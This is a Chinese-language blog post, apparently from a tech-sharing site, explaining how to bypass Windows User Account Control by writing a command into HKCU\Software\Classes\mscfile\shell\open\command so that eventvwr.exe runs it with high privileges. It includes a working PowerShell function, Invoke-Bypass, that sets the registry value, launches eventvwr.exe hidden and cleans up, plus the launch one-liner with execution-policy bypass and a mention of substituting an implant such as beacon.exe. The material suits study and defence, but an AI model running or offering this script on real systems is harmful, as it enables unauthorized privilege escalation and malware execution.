首页 > 系统相关 >Bypass UAC——通过HKCU\Software\Classes\mscfile\shell\open\command

Bypass UAC——通过HKCU\Software\Classes\mscfile\shell\open\command

时间:2023-08-02 19:35:37浏览次数:39  
标签:shell mscfile Classes command UAC 权限 open exe

一、UAC介绍

 UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。

当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac

二、利用注册表bypass uac

HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKCR = HKEY_CLASSES_ROOT
一些高权限的程序会调用 HKCR:下的键值,通过修改 HKCU下面的键值同步修改HKCR 下的键值,把原来得值改成想运行得程序比如beacon.exe,如果高权限得程序运行过程会调用这个键值,就会以高权限运行我们得程序达到bypass uac

sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。

Bypass UAC——通过HKCU\Software\Classes\mscfile\shell\open\command_安全分析

找的话要找highestAvailable得属性,使用Process Monitor进行过滤规则的选择,找到程序eventvwr.exe,找到其调用过程,可以发现这条注册表的项它会进行查询

eventvwr.exe 首先查询键值 HKCU\Software\Classes\mscfile\shell\open\command,查询结果为 NAME NOT FOUND;

Bypass UAC——通过HKCU\Software\Classes\mscfile\shell\open\command_Software_02

  eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS,因为修改注册表HKCU\Software\Classes\mscfile\shell\open\command得值只需要普通用户权限,所以修改为calc.exe进行测试

win10测试发现没有加载这个注册表路径,win7存在,但是需要手动添加后面得选项\shell\open\command,如下图所示成功弹出calc.exe

Bypass UAC——通过HKCU\Software\Classes\mscfile\shell\open\command_Windows_03

 

calc.exe程序权限为 high,成功绕过 UAC。

 

Bypass UAC——通过HKCU\Software\Classes\mscfile\shell\open\command_键值_04

powershell自动化添加:powershell.exe -exec bypass -Command "& {Import-Module .\bypass.ps1;Invoke-Bypass }"

function Invoke-Bypass {
Param (
[String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
)
 
$CommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
$filePath = "HKCU:\Software\Classes\mscfile\shell\open\command"
New-Item $CommandPath -Force | Out-Null
New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
Write-Host "[+] Registry entry has been created successfully!"
 
$Process = Start-Process -FilePath "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden
Write-Host "[+] Starting WSReset.exe"
 
Write-Host "[+] Triggering payload.."
Start-Sleep -Seconds 5
 
if (Test-Path $filePath) {
Remove-Item $filePath -Recurse -Force
Write-Host "[+] Cleaning up registry entry"
}
}

 

 

参考链接:

Win10bypass:https://www.chabug.org/tools/1714.html

http://blog.leanote.com/post/snowming/ec21a4823438

 

标签:shell,mscfile,Classes,command,UAC,权限,open,exe
From: https://blog.51cto.com/u_11908275/6941800

相关文章

  • 九、BAT脚本如何自动执行 adb shell 以后的命令
    @echooffechosu>temp.txtecho其它命令>>temp.txtadbshell<temp.txtdeltemp.txt求问BAT脚本如何自动执行adbshell以后的命令_百度知道http://zhidao.baidu.com/question/496847483.html把adb命令写在temp.txt里面。然后一次性执行......
  • Linux shell 脚本中 if 的 “-e,-d,-f “ 说明
    1、文件表达式 2、整数变量表达式参数说明-eq等于-ne不等于-gt大于-ge大于等于-lt 小于-le小于等于 3、字符串变量表达式参数说明$a=$......
  • 基础xshell学习笔记
    一,shell概述shell是一个命令行解释器,用来接受应用程序命令/用户命令,然后调用操作系统内核(linux内核),控制硬件shell的特点:功能强大的的编程语言,易编写,易调试,灵活性强,可读性强二,变量1>,系统级变量 $HOME $PWD $SHELLecho$SHELL解释器 $USERecho$USER当前用户......
  • 使用expect实现shell自动交互
    安装expectsudoaptinstallexpect要执行的脚本#!/bin/bash#cpao.shssh-keygen-f"/home/lyq/.ssh/known_hosts"-R"192.168.1.10"scpsd.shao_app.elfbrdc*[email protected]:/[email protected]交互输入脚本#!/usr/bin/expect#ca.tcls......
  • shell 十三问
    说明本文内容来源于ChinaUnix论坛网中人于2003年发布的帖子,原帖见shell十三问原文同时结合github仓库shell十三问markdown进行整理shell十三问之1:何为shell?shell是什么东西之前,不妨让我们重新审视使用者和计算机系统的关系:(此处为使用者和计算机系统的关系图)我们知道......
  • shell read彩色提示,select PS3彩色提示
    彩色库:##Colormsg----------------------------------------------------##来源:https://gitee.com/ApolloAuto/apollo/blob/master/scripts/apollo.bashrcBOLD='\033[1m'RED='\033[0;31m'BLUE='\033[1;34;48m'GREEN='\033[32m......
  • shell基本语法
    shell定义变量不能=号之间不能有空格定义:弱语言输出变量:echo${变量名称}(花括号可以省略)作用域:在外面定义的变量,在里面没有环境变量为全局变量判断命令是否执行成功:$?=0说明上条命令执行成功$?=1~255说明上条命令执行失败单引号和双引号的区别:单引号不能识别特殊语法......
  • shell命令概述 Shell作用:命令解释器 介于操作系统内核与用户之间,负责解释命令行 获得
    shell命令概述Shell作用:命令解释器介于操作系统内核与用户之间,负责解释命令行获得命令帮助内部命令help命令的“--help”选项使用man命令阅读手册页命令行编辑的几个辅助操作Tab键:自动补齐反斜杠“\”:强制换行快捷键Ctrl+U:清空至行首快捷键Ctrl+K:清空至行尾快捷键Ctr......
  • 用shell脚本写一个查询centos7的系统可用空间
    #!/bin/bash#byherofoxqq:42845734./etc/profile#通过显示系统空间,结合分割命令和awk命令来取数sys=$(df-h|grep-w"centos-root"|awk'{split($5,sys,"%");printsys[1]}')if[$sys-gt60]&&[$sys-lt100]thenecho'没有可用空间了,赶紧清理系......
  • 7.31 学习shell脚本
    shell定义:是一个语言解释器,将命令转化为二进制语言(机器语言)shell脚本window是.batlinux是.sh格式规范#!/bin/bash开头文件程序/bin/sh,也就是bash解释器。#!/usr/bin/python运行shell脚本的方式1.bashscript.shshscript.sh适用于文件本身没权限运行2.使用相......